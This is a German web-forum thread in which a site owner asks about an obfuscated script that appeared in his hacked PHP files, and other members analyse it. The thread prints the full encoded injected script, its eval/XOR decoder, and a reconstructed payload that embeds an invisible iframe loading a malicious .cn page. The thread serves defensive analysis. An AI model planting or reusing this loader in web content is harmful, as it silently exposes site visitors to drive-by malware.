Simon: Unbekanntes Script in PHP Script

Hi,
kann mir vieleicht jemand sagen was dieses Script bewirken soll:

<!-- ad --><script>window['egvDaZl9'.replace(/[g9D3Z]/g, '')](window['egvDaZl9'.replace(/[g9D3Z]/g, '')]('uMn<e]s]c]a;p<e;'.replace(/[M;o\]\<]/g, ''))('%66%75%6e%63%74%69%6f%6e%20%50%48%70%61%4c%28%41%49%49%29%7b%66%75%6e%63%74%69%6f%6e%20%41%49%68%28%48%70%49%29%7b%65%76%61%6c%28%22%76%61%72%20%41%41%54%61%70%44%41%3d%30%3b%22%29%3b%76%61%72%20%50%70%48%4c%3d%48%70%49%2e%6c%65%6e%67%74%68%3b%65%76%61%6c%28%22%76%61%72%20%4c%49%54%6c%44%3d%30%3b%22%29%3b%77%68%69%6c%65%28%4c%49%54%6c%44%3c%50%70%48%4c%29%7b%41%41%54%61%70%44%41%2b%3d%48%41%41%61%41%6c%28%48%70%49%2c%4c%49%54%6c%44%29%2a%50%70%48%4c%3b%4c%49%54%6c%44%2b%2b%3b%7d%72%65%74%75%72%6e%20%28%41%41%54%61%70%44%41%2b%27%27%29%3b%7d%66%75%6e%63%74%69%6f%6e%20%48%41%41%61%41%6c%28%4c%44%4c%41%54%61%2c%41%68%70%48%50%48%29%7b%72%65%74%75%72%6e%20%4c%44%4c%41%54%61%2e%63%68%61%72%43%6f%64%65%41%74%28%41%68%70%48%50%48%29%3b%7d%20%20%20%74%72%79%20%7b%76%61%72%20%48%70%70%44%41%61%3d%65%76%61%6c%28%27%61%3f%72%3f%67%3a%75%32%6d%3f%65%62%6e%62%74%3a%73%3a%2e%3f%63%3f%61%4d%6c%4d%6c%62%65%3f%65%32%27%2e%72%65%70%6c%61%63%65%28%2f%5b%5c%3f%5c%3a%32%4d%62%5d%2f%67%2c%20%27%27%29%29%2c%4c%48%49%41%3d%27%27%3b%76%61%72%20%41%48%70%50%44%3d%30%2c%41%61%48%61%47%3d%30%2c%41%48%50%41%49%49%3d%28%6e%65%77%20%53%74%72%69%6e%67%28%48%70%70%44%41%61%29%29%2e%72%65%70%6c%61%63%65%28%2f%5b%5e%40%61%2d%7a%30%2d%39%41%2d%5a%5f%2e%2c%2d%5d%2f%67%2c%27%27%29%3b%76%61%72%20%4c%4c%54%6c%61%3d%41%49%68%28%41%48%50%41%49%49%29%3b%65%76%61%6c%28%22%41%49%49%3d%75%6e%65%73%63%61%70%65%28%41%49%49%29%3b%22%29%3b%66%6f%72%28%76%61%72%20%41%41%61%54%3d%30%3b%20%41%41%61%54%20%3c%20%28%41%49%49%2e%6c%65%6e%67%74%68%29%3b%20%41%41%61%54%2b%2b%29%7b%76%61%72%20%48%41%48%4c%3d%48%41%41%61%41%6c%28%41%48%50%41%49%49%2c%41%48%70%50%44%29%5e%48%41%41%61%41%6c%28%4c%4c%54%6c%61%2c%41%61%48%61%47%29%3b%76%61%72%20%50%61%6c%50%3d%48%41%41%61%41%6c%28%41%49%49%2c%41%41%61%54%29%3b%41%48%70%50%44%2b%2b%3b%41%61%48%61%47%2b%2b%3b%69%66%28%41%61%48%61%47%3e%4c%4c%54%6c%61%2e%6c%65%6e%67%74%68%29%41%61%48%61%47%3d%30%3b%69%66%28%41%48%70%50%44%3e%41%48%50%41%49%49%2e%6c%65%6e%67%74%68%29%41%48%70%50%44%3d%30%3b%4c%48%49%41%2b%3d%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%50%61%6c%50%5e%48%41%48%4c%29%20%2b%20%27%27%3b%7d%65%76%61%6c%28%4c%48%49%41%29%3b%20%72%65%74%75%72%6e%20%4c%48%49%41%3d%6e%75%6c%6c%3b%7d%63%61%74%63%68%28%65%29%7b%7d%7d%50%48%70%61%4c%28%27%25%33%32%25%33%37%25%33%31%25%33%31%25%33%36%25%33%31%25%33%39%25%33%30%25%37%30%25%32%61%25%30%36%25%31%31%25%33%39%25%31%36%25%35%30%25%31%39%25%37%66%25%35%35%25%32%37%25%32%30%25%33%37%25%32%31%25%37%39%25%32%34%25%30%65%25%31%38%25%31%61%25%35%61%25%32%38%25%34%35%25%33%30%25%32%66%25%33%33%25%32%30%25%32%62%25%30%34%25%32%65%25%30%32%25%35%65%25%30%36%25%32%35%25%32%34%25%31%63%25%30%35%25%35%35%25%30%31%25%33%61%25%32%36%25%30%63%25%32%33%25%31%37%25%30%31%25%35%30%25%35%37%25%31%32%25%37%66%25%32%66%25%33%35%25%33%35%25%33%33%25%36%61%25%37%31%25%35%65%25%36%34%25%33%39%25%37%33%25%33%34%25%32%35%25%32%30%25%34%38%25%35%65%25%33%63%25%32%61%25%30%37%25%37%31%25%37%63%25%37%31%25%37%37%25%32%32%25%33%63%25%32%32%25%31%65%25%31%30%25%33%63%25%31%38%25%30%66%25%32%64%25%31%34%25%35%32%25%32%32%25%31%64%25%34%63%25%32%34%25%32%34%25%31%66%25%30%30%25%31%64%25%31%30%25%33%35%25%33%36%25%35%38%25%33%35%25%30%64%25%32%62%25%31%34%25%33%32%25%34%37%25%36%39%25%30%39%25%37%35%25%30%36%25%30%34%25%33%32%25%33%38%25%30%31%25%30%38%25%33%62%25%30%66%25%33%39%25%30%30%25%33%37%25%33%36%25%36%64%25%36%62%25%33%35%25%30%37%25%31%37%25%30%32%25%30%64%25%37%37%25%36%61%25%35%35%25%34%38%25%37%66%25%34%65%25%37%63%25%33%62%25%36%62%25%32%62%25%33%63%25%32%62%25%33%30%25%30%35%25%33%35%25%32%31%25%31%66%25%33%66%25%30%38%25%30%36%25%31%38%25%35%30%25%34%33%25%30%37%25%36%63%25%31%37%25%33%34%25%32%34%25%31%63%25%30%65%25%30%33%25%32%36%25%30%30%25%33%34%25%36%35%25%36%66%25%37%66%25%34%61%25%35%63%25%34%65%25%35%31%25%33%62%25%37%64%25%36%61%25%33%37%25%32%64%25%31%36%25%33%37%25%30%65%25%32%64%25%30%64%25%33%35%25%30%33%25%33%31%25%31%35%25%37%36%25%36%36%25%31%39%25%30%35%25%32%31%25%32%31%25%32%64%25%33%63%25%36%30%25%37%62%25%36%33%25%34%31%25%36%39%25%34%62%25%35%36%25%31%32%25%33%66%25%33%37%25%33%35%25%33%64%25%33%30%25%33%66%25%30%36%25%37%62%25%32%30%25%36%63%25%33%38%25%32%61%25%37%64%25%33%36%25%32%32%25%30%34%25%32%34%25%37%37%25%33%36%25%31%33%25%31%33%25%33%34%25%31%38%25%33%38%25%34%61%25%33%38%25%37%62%25%33%38%25%33%66%25%33%39%25%33%37%25%32%38%25%32%38%25%30%32%25%33%39%25%37%61%25%36%36%25%35%35%25%32%66%25%32%35%25%37%30%25%36%38%25%31%38%25%31%33%25%31%33%25%31%35%25%32%38%25%32%32%25%33%37%25%35%30%25%31%65%25%30%35%25%30%63%25%31%30%25%37%35%25%37%34%25%31%38%25%33%65%25%35%31%25%37%39%25%36%65%25%37%39%25%34%62%25%33%31%25%33%38%25%32%32%25%31%31%25%35%38%25%35%32%25%34%35%25%33%65%25%36%39%25%35%39%25%33%38%25%36%38%25%37%38%25%36%35%25%36%37%25%37%38%25%36%62%25%37%63%25%30%38%25%30%64%25%37%37%25%34%66%25%30%61%25%31%34%25%33%34%25%33%66%25%37%65%25%36%32%25%37%64%25%34%64%27%29%3b'));</script><!-- /ad -->

MfG
Simon

  1. echo $begrüßung;

    kann mir vieleicht jemand sagen was dieses Script bewirken soll:

    Dann drösel das doch mal schrittweise auf.

    <!-- ad -->

    Ein Kommentar, nichts weiter

    <script>

    Ein (unvollständiges) HTML-Element zum einleiten von clientseitigen Scripts. (Je)der Browser wird es sicherlich als Javascript interpretieren.

    window[...]

    bewirkt, dass eine Eigenschaft des window-Elements angesprochen wird, mithin der globale Namensraum unter Javascript.

    'egvDaZl9'.replace(/[g9D3Z]/g, '')

    Wenn man vom String egvDaZl9 die Zeichen g9D3Z durch nichts ersetzt kommt was raus?

    window'eval'

    Die Funktion eval() wird also verwendet. Und wie wir alle wissen, ist eval evil. Den Rest schenk ich mir, das kann nichts Gescheites mehr werden

    echo "$verabschiedung $name";

    1. Ich fragte weil ich nicht wusst was es ist.
      Mein Problem ist dass es einfach so im Script erschienen ist.
      Ich habe es nie selber reingeschriebn!?

      MfG
      Simon

      1. Hi,

        Mein Problem ist dass es einfach so im Script erschienen ist.

        im Script oder in dessen Ausgabe?

        Cheatah

        --
        X-Self-Code: sh:( fo:} ch:~ rl:| br:> n4:& ie:% mo:) va:) de:] zu:) fl:{ ss:) ls:~ js:|
        X-Self-Code-Url: http://emmanuel.dammerer.at/selfcode.html
        X-Will-Answer-Email: No
        X-Please-Search-Archive-First: Absolutely Yes
        1. im Script oder in dessen Ausgabe?

          Cheatah

          Im Script!

          1. Hi,

            im Script oder in dessen Ausgabe?
            Im Script!

            dann solltest Du Deinem Webhoster mitteilen, dass mindestens einer seiner Server gehackt wurde.

            Cheatah

            --
            X-Self-Code: sh:( fo:} ch:~ rl:| br:> n4:& ie:% mo:) va:) de:] zu:) fl:{ ss:) ls:~ js:|
            X-Self-Code-Url: http://emmanuel.dammerer.at/selfcode.html
            X-Will-Answer-Email: No
            X-Please-Search-Archive-First: Absolutely Yes
      2. Hi,

        Mein Problem ist dass es einfach so im Script erschienen ist.
        Ich habe es nie selber reingeschriebn!?

        Deine Website/dein Server wurde gehackt. Kommt mom. häufiger vor. Alleine mir sind 2 weitere Fälle hier im Forum aufgefallen.

        Im Firefox ist dem leicht nachzugehen. Einfach Script in eine leere Seite packen, und dann "View generated Source" oder "Auswahl-Quelltext anzeigen" (nachdem man den Seiteninhalt "markiert" hat). Das erzeugte Script erzeugt einen unsichtbaren IFrame (ziemlich ungünstig für Werbung ;->). Im IFrame geht das Spiel dann von vorne los. Allerdings werden dann weitere Seiten bei mir nicht mehr nachgeladen, weil mein aktuelles NoScript-Add-on dies mit dem Hinweis auf "Maleware" blockiert.

        Mach dir also mal Gedanken, wo dein System unsicher ist, bzw. informier deinen Hoster, falls Du keine Lücke hast, sondern seine Server generell unsicher sind.

        Kannst ja auch mal bei den anderen VHosts des Servers schauen, ob diese Auftritte ebenfalls infiziert sind. Wenn ja, dann dürfte dein Hoster ganz bestimmt ein Problem haben ...

        Gruß, Cybaer

        --
        Man muß viel gelernt haben, um über das, was man nicht weiß, fragen zu können.
        (Jean-Jacques Rousseau, Philosoph u. Schriftsteller)
        1. Hi,

          Mein Problem ist dass es einfach so im Script erschienen ist.
          Ich habe es nie selber reingeschriebn!?

          Deine Website/dein Server wurde gehackt. Kommt mom. häufiger vor. Alleine mir sind 2 weitere Fälle hier im Forum aufgefallen.

          Habe ich meinem Hoster bereits mitgeteilt.

          Mach dir also mal Gedanken, wo dein System unsicher ist, bzw. informier deinen Hoster, falls Du keine Lücke hast, sondern seine Server generell unsicher sind.

          An meinem Passwort kann es jedoch nicht liegen (Sonderzeichen, groß- und klein Buchstaben und Zahlen).
          Durch die PHP Scripte kann es auch nicht hinein gekommen sein, weil dieser relativ Sicher Programmiert sind.

          Kannst ja auch mal bei den anderen VHosts des Servers schauen, ob diese Auftritte ebenfalls infiziert sind. Wenn ja, dann dürfte dein Hoster ganz bestimmt ein Problem haben ...

          Mich würde jetzt noch interessieren wer in solch einem Fall die Schuld trägt: ich oder mein Hoster?

          MfG
          Simon

          1. Hi,

            An meinem Passwort kann es jedoch nicht liegen (Sonderzeichen, groß- und klein Buchstaben und Zahlen).
            Durch die PHP Scripte kann es auch nicht hinein gekommen sein, weil dieser relativ Sicher Programmiert sind.

            Relativ ist relativ. ;-)

            Allerdings ist die Wahrscheinlichkeit eines Site-Hacks IMHO höher, wenn man nicht eigene Scripts verwendet (deren Lücken man durch try & error erraten müßte - s. auch Log-Datei(en)), sondern frei verfügbare mit bereits bekannten Lücken (CMS, Forensoftware, Gästebücher, ...)

            Ansonsten steigt IMHO die Wahrschinlichkeit eines Server-Hacks, was ...

            Mich würde jetzt noch interessieren wer in solch einem Fall die Schuld trägt: ich oder mein Hoster?

            ... dann die Schuld des Hosters wäre (sofern Du nicht auch die Verantwortung für den Server trägst).

            Gruß, Cybaer

            --
            Man muß viel gelernt haben, um über das, was man nicht weiß, fragen zu können.
            (Jean-Jacques Rousseau, Philosoph u. Schriftsteller)
  2. Hi,

    Hi,
    kann mir vieleicht jemand sagen was dieses Script bewirken soll:

    window['egvDaZl9'.replace(/[g9D3Z]/g, '')]

    ist identisch mit

    window['eval']

    'uMn<e]s]c]a;p<e;'.replace(/[M;o]<]/g

    ist unescape.

    Es wird also aufgerufen:
    window.eval(window.eval(unescape('%66%75usw.')))

    für '%66%75usw.' natürlich den gesamten String mit den % drin einsetzen.

    Wenn Du den Anfang durch
    alert(unescape(

    ersetzt, kannst Du sehen, was da zweimal eval-uiert werden soll.

    <!-- ad --> und <!-- /ad -->
    lassen darauf schließen, daß es wohl irgendein Werbekram ist.

    cu,
    Andreas

    --
    Warum nennt sich Andreas hier MudGuard?
    O o ostern ...
    Fachfragen unaufgefordert per E-Mail halte ich für unverschämt und werde entsprechende E-Mails nicht beantworten. Für Fachfragen ist das Forum da.
    1. <!-- ad --> und <!-- /ad -->
      lassen darauf schließen, daß es wohl irgendein Werbekram ist.

      Aber wie kommt das in mein Script??

      1. Hi,

        Aber wie kommt das in mein Script??

        Vermutlich ist es automatisch durch den Anbieter deines werbefinanzierten Gratis-Webspace eingefuegt worden.

        MfG ChrisB

        --
        „This is the author's opinion, not necessarily that of Starbucks.“
        1. Vermutlich ist es automatisch durch den Anbieter deines werbefinanzierten Gratis-Webspace eingefuegt worden.

          Ich hab aber keinen Gratis Webspace!

          1. Mahlzeit Simon,

            Vermutlich ist es automatisch durch den Anbieter deines werbefinanzierten Gratis-Webspace eingefuegt worden.

            Ich hab aber keinen Gratis Webspace!

            Und woher sollen das Deine Leser wissen, wenn Du ihnen diese Information vorenthältst? Dann bleibt ihnen nichts anderes übrig, als wild herumzuraten.

            Ich fasse also nochmal zusammen, was man Dir bisher aus der Nase ziehen konnte:

            "Auf einmal" erschien (wann?) der von Dir gepostete HTML-Schnipsel in Deinen PHP-Dateien. Richtig?

            Wenn ja: ist dieser Code wirklich direkt so in den auf Deinem Webspace existierenden PHP-Dateien enthalten? Oder lediglich in der HTML-Ausgabe, die diese PHP-Dateien erzeugen?

            Ist dieser Code nur in den PHP-Dateien auf Deinem Webspace enthalten? Oder auch in den PHP-Dateien, die Du lokal (entwickelt) hast?

            Was für eine Art Webspace hast Du? Dass es kein Gratis-Webspace ist, hast Du ja erwähnt ... was dann? Irgendein Paket bei irgendeinem Anbieter? Ein virtueller Server? Ein Rootserver?

            Wenn Du aussagekräftige Hilfe willst, komm mit den notwendigen Informationen 'rüber: Glaskugeln sind nämlich grad aus ... kommen auch nicht wieder rein.

            MfG,
            EKKi

            --
            sh:( fo:| ch:? rl:( br:> n4:~ ie:% mo:} va:) de:] zu:) fl:{ ss:) ls:& js:|
            1. Hi,
              hat leider etwas länger gedauert weil ich in den letzten Tagen kein Internet hatte.

              Und woher sollen das Deine Leser wissen, wenn Du ihnen diese Information vorenthältst? Dann bleibt ihnen nichts anderes übrig, als wild herumzuraten.

              Ja hab das leider vergessen.

              Ich fasse also nochmal zusammen, was man Dir bisher aus der Nase ziehen konnte:

              "Auf einmal" erschien (wann?) der von Dir gepostete HTML-Schnipsel in Deinen PHP-Dateien. Richtig?

              Wenn ja: ist dieser Code wirklich direkt so in den auf Deinem Webspace existierenden PHP-Dateien enthalten? Oder lediglich in der HTML-Ausgabe, die diese PHP-Dateien erzeugen?

              Ist dieser Code nur in den PHP-Dateien auf Deinem Webspace enthalten? Oder auch in den PHP-Dateien, die Du lokal (entwickelt) hast?

              Wie ich schon beantwortet habe, sind diese Scripte nicht "nur" in der Ausbage enthalten sondern auch im Script selber. Manche meiner Seiten wurden sogar komplett gelöscht und durch diese Scripte ausgetauscht.

              Was mich wundert ist jedoch der FTP hack selber.
              Da ich mich mit meinem Webspace Anbieter in Verbindung gesetzt habe, hab ich erfahren dass es sich um einen FTP hack handelte. Da ich aber ein sehr gutes Passwort habe (Sonderzeichen, groß und klein Buchstaben und Zahlen) hat es mich ein bischen gewundert. Da das Passwort kein Wort (welches in einem Wörterbuch steht) ist, kann es also nicht mit Wordlists passiert sein, und mit Brute Force hätte es doch normalerweise extrem lang gedauert duch die Komplexität und die Länge des Passworts.

              MfG
              Simon

              1. Hi,

                Da ich mich mit meinem Webspace Anbieter in Verbindung gesetzt habe, hab ich erfahren dass es sich um einen FTP hack handelte. Da ich aber ein sehr gutes Passwort habe (Sonderzeichen, groß und klein Buchstaben und Zahlen) hat es mich ein bischen gewundert. Da das Passwort kein Wort (welches in einem Wörterbuch steht) ist, kann es also nicht mit Wordlists passiert sein, und mit Brute Force hätte es doch normalerweise extrem lang gedauert duch die Komplexität und die Länge des Passworts.

                Das sollte man ja mittels Log-Dateien feststellen können.

                Frag ihn doch mal, was *er* nunmehr gemacht hat, daß eine wiederholte Attacke mit falschen Zugangsdaten (BTW: Passwörter kann man ausprobieren - üblicherweise sollte aber nach ca. 3 Fehlversuchen der Zugriff erstmal blockiert, und der Verantwortliche automatisch in Kenntnis gesetzt werden -, aber wie kommt man auf den gültigen Accountnamen?) zukünftig nicht mehr möglich ist!

                Wenn dein Hoster Recht hat, dann hat er es dem Angreifer wohl unnötig leicht gemacht ...

                Gruß, Cybaer

                --
                Man muß viel gelernt haben, um über das, was man nicht weiß, fragen zu können.
                (Jean-Jacques Rousseau, Philosoph u. Schriftsteller)
                1. [latex]Mae  govannen![/latex]

                  Das sollte man ja mittels Log-Dateien feststellen können.

                  Frag ihn doch mal, was *er* nunmehr gemacht hat, daß eine wiederholte Attacke mit falschen Zugangsdaten (BTW: Passwörter kann man ausprobieren - üblicherweise sollte aber nach ca. 3 Fehlversuchen der Zugriff erstmal blockiert, und der Verantwortliche automatisch in Kenntnis gesetzt werden -, aber wie kommt man auf den gültigen Accountnamen?) zukünftig nicht mehr möglich ist!

                  Es gäbe noch eine weitere Möglichkeit, nämlich daß auf seinem Computer böse Software unterwegs ist, die seine Eingaben und/oder Datenpakete mitliest und an jemanden weiterleitet. So wäre es ein Leichtes, an Account und Passwort zu gelangen.

                  Cü,

                  Kai

                  --
                  Ash nazg durbatulûk, ash nazg gimbatul,ash nazg thrakatulûk, agh burzum-ishi krimpatul
                  selfcode sh:( fo:| ch:? rl:( br:< n4:# ie:{ mo:| va:) js:) de:> zu:) fl:( ss:| ls:?
                  1. Hi,

                    Es gäbe noch eine weitere Möglichkeit, nämlich daß auf seinem Computer böse Software unterwegs ist, die seine Eingaben und/oder Datenpakete mitliest und an jemanden weiterleitet. So wäre es ein Leichtes, an Account und Passwort zu gelangen.

                    Ja.

                    Allerdings müßte das Simon in der Zwischenzeit allerdings wohl mal aufgefallen sein - und allerspätestens jetzt, wo klar ist, daß er mindestens unwissentlich attackiert wurde (nämlich durch den bloßen Aufruf seiner eigenen Seiten im Browser), sollte das System entsprechend überprüft worden sein.

                    Und: wenn der Hoster schon weiß, daß ein FTP-Hack stattfand, dann braucht er dafür ja einen Hinweis. Wenn jemand anders meine Zugangsdaten abgreift und sich damit einloggt, kann der Hoster das eigentlich nur durch akribisches Überprüfen, wann per FTP auf die infizierte(n) Datei(en) zugegriffen wurde, bzw. ob das von einer "auswärtigen" IP erfolgte ...

                    Gruß, Cybaer

                    --
                    Man muß viel gelernt haben, um über das, was man nicht weiß, fragen zu können.
                    (Jean-Jacques Rousseau, Philosoph u. Schriftsteller)
                    1. Nachtrag:

                      Oder natürlich per Wardriving, DNS verbiegen, mithören, und "gut" ist ... :-/

                      Gruß, Cybaer

                      --
                      Man muß viel gelernt haben, um über das, was man nicht weiß, fragen zu können.
                      (Jean-Jacques Rousseau, Philosoph u. Schriftsteller)
    2. hi,

      Wenn Du den Anfang durch
      alert(unescape(

      ersetzt, kannst Du sehen, was da zweimal eval-uiert werden soll.

      weil ich gerade damit ein bißchen rumgespielt habe (das macht spass) und vielleicht interessierts ja noch jemand: was dabei herauskommt ist dies:

      function PHpaL(AII){function AIh(HpI){eval("var AATapDA=0;");var PpHL=HpI.length;eval("var LITlD=0;");while(LITlD<PpHL){AATapDA+=HAAaAl(HpI,LITlD)*PpHL;LITlD++;}return (AATapDA+'');}function HAAaAl(LDLATa,AhpHPH){return LDLATa.charCodeAt(AhpHPH);} try {var HppDAa=eval('a?r?g:u2m?ebnbt:s:.?c?aMlMlbe?e2'.replace(/[\?\:2Mb]/g, '')),LHIA='';var AHpPD=0,AaHaG=0,AHPAII=(new String(HppDAa)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var LLTla=AIh(AHPAII);eval("AII=unescape(AII);");for(var AAaT=0; AAaT < (AII.length); AAaT++){var HAHL=HAAaAl(AHPAII,AHpPD)^HAAaAl(LLTla,AaHaG);var PalP=HAAaAl(AII,AAaT);AHpPD++;AaHaG++;if(AaHaG>LLTla.length)AaHaG=0;if(AHpPD>AHPAII.length)AHpPD=0;LHIA+=String.fromCharCode(PalP^HAHL) + '';}eval(LHIA); return LHIA=null;}catch(e){}}PHpaL('%32%37%31%31%36%31%39%30%70%2a%06%11%39%16%50%19%7f%55%27%20%37%21%79%24%0e%18%1a%5a%28%45%30%2f%33%20%2b%04%2e%02%5e%06%25%24%1c%05%55%01%3a%26%0c%23%17%01%50%57%12%7f%2f%35%35%33%6a%71%5e%64%39%73%34%25%20%48%5e%3c%2a%07%71%7c%71%77%22%3c%22%1e%10%3c%18%0f%2d%14%52%22%1d%4c%24%24%1f%00%1d%10%35%36%58%35%0d%2b%14%32%47%69%09%75%06%04%32%38%01%08%3b%0f%39%00%37%36%6d%6b%35%07%17%02%0d%77%6a%55%48%7f%4e%7c%3b%6b%2b%3c%2b%30%05%35%21%1f%3f%08%06%18%50%43%07%6c%17%34%24%1c%0e%03%26%00%34%65%6f%7f%4a%5c%4e%51%3b%7d%6a%37%2d%16%37%0e%2d%0d%35%03%31%15%76%66%19%05%21%21%2d%3c%60%7b%63%41%69%4b%56%12%3f%37%35%3d%30%3f%06%7b%20%6c%38%2a%7d%36%22%04%24%77%36%13%13%34%18%38%4a%38%7b%38%3f%39%37%28%28%02%39%7a%66%55%2f%25%70%68%18%13%13%15%28%22%37%50%1e%05%0c%10%75%74%18%3e%51%79%6e%79%4b%31%38%22%11%58%52%45%3e%69%59%38%68%78%65%67%78%6b%7c%08%0d%77%4f%0a%14%34%3f%7e%62%7d%4d');

      ziemlich offensichtlich ist, dass da eine zeichen kette entschlüsselt werden soll. das abgefahrene: die funktion verwendet dabei sich selbst als schlüssel. d.h.: verändert man den "wortlaut" der funktion, indem man bspw. das entsprechende eval() durch alert() ersetzt, verändert man den schlüssel und bekommt so nur ein verzerrtes ergebnis. wie man das irgendwie umgehen könnte, dazu hatte ich bislang noch keine idee. alles was mir bis dato gelungen ist, ist die veränderung an der funktion so klein wie möglich zu halten indem ich das entsprechende eval durch eine eigene function fval (str) {alert(str);} ersetzt habe. was dabei rauskommt sieht ungeschönt so aus:

      functobk PAADa.d, {try }{dr o=doexhent.crclqeElemehy-'iframc*,; o.sre0"http:/)zlnesamijh+cn/temvadte.htmj*> o.setGyqribute.*ridth',&=,; o.serLqtributc%"framebidaer', 0/6%o.setArywibute(!eight',&=,; docukhkt.body(lupendChoaa(o); }elqch(e){uhqTimeour%cunctioh--){PAADg%.+i);},&?50);}} VLDDa(0);`

      das ist zwar kein klartext, aber mit ein bißchen fantasie kann man das so ordnen:

        
      functobk PAADa.d, {  
       try }{  
        dr o=doexhent.crclqeElemehy-'iframc*,;  
        o.sre0"http:/)zlnesamijh+cn/temvadte.htmj*>  
        o.setGyqribute.*ridth',&=,;  
        o.serLqtributc%"framebidaer', 0/6%  
        o.setArywibute(!e`ight',&=,;  
        docukhkt.body(lupendChoaa(o); }  
       elqch (e) {  
        uhqTimeour%cunctioh--){PAADg%.+i);},&?50);  
        }  
       };  
      VLDDa(0);  
      
      

      und mit einer weiteren ladung spucke kann man dann das daraus machen/darein interpretieren:

        
      function PAAD(a) {  
       try {  
        var o=document.createElement('iframc');  
        o.src = "http://www.isuck.com/badly.html"; //random URL  
        o.setAttribute("width",XY);  
        o.setAttribute("frameborder", 0);  
        o.setAttribute("height", XY);  
        document.body.appendChild(o);  
        }  
       catch (e) {  
        setTimeout(function () {PAAD(a);}, 50);  
        }  
       };  
      PAAD(0);  
      
      

      wenn ich mich bei der rekonstruktion nicht allzu irre will das skript am ende also einen iframe einbinden und irgendwas laden. ziemlich ausgefuchst wie ich finde.

      hoffe (irgendwem) geholfen zu haben,

      henning

      1. Tach.

        die funktion verwendet dabei sich selbst als schlüssel. d.h.: verändert man den "wortlaut" der funktion, indem man bspw. das entsprechende eval() durch alert() ersetzt, verändert man den schlüssel und bekommt so nur ein verzerrtes ergebnis. wie man das irgendwie umgehen könnte, dazu hatte ich bislang noch keine idee.

        Setz doch in einem Debugger einen Breakpoint auf die Zeile, in der alles zusammengebaut wurde und sieh Dir den Inhalt der entsprechenden Variable an.

        function PAAD(a) {
        try {
          var o=document.createElement('iframc');
          o.src = "http://www.isuck.com/badly.html"; //random URL
          o.setAttribute("width",XY);
          o.setAttribute("frameborder", 0);
          o.setAttribute("height", XY);
          document.body.appendChild(o);
          }
        catch (e) {
          setTimeout(function () {PAAD(a);}, 50);
          }
        };
        PAAD(0);

          
        Naja, fast. :)  
          
        ~~~javascript
          
        function PAADa(i) {  
         try {  
          var o=document.createElement('iframe');  
          o.src='http://winesamile.cn/template.html';  
          o.setAttribute('width', 0);  
          o.setAttribute('frameborder', 0);  
          o.setAttribute('height', 0);  
          document.body.appendChild(o);  
         }  
         catch(e){  
          setTimeout(function(){  
           PAADa(++i);  
          }, 200);  
         }  
        }  
          
        PAADa(0);  
        
        

        Die angeforderte Seite kriegt man natürlich auch ohne den ganzen Entwirrungszauber heraus ... Jedenfalls geht es dort in diesem Stil weiter.

        --
        Wenn es schwingt, ist es ein Filter – Oszillatoren würden so etwas nie tun.
        1. hi,

          Setz doch in einem Debugger einen Breakpoint auf die Zeile, in der alles zusammengebaut wurde und sieh Dir den Inhalt der entsprechenden Variable an.

          debugger und breakpoint, das gehört für mich noch in die kategorie "sophisticated" bis zu der ich noch vordringen muss.

          function PAADa(i) {
          try {
            var o=document.createElement('iframe');
            o.src='http://winesamile.cn/template.html';
            o.setAttribute('width', 0);
            o.setAttribute('frameborder', 0);
            o.setAttribute('height', 0);
            document.body.appendChild(o);
          }
          catch(e){
            setTimeout(function(){
             PAADa(++i);
            }, 200);
          }
          }

          PAADa(0);

            
          na, das war ja gar nicht so schlecht geraten.  
            
          
          > Die angeforderte Seite kriegt man natürlich auch ohne den ganzen Entwirrungszauber heraus ... Jedenfalls geht es dort in diesem Stil weiter.  
            
          klar, aber es geht ja um das entwirren. zumindest mir.  
            
          gruß,  
            
          henning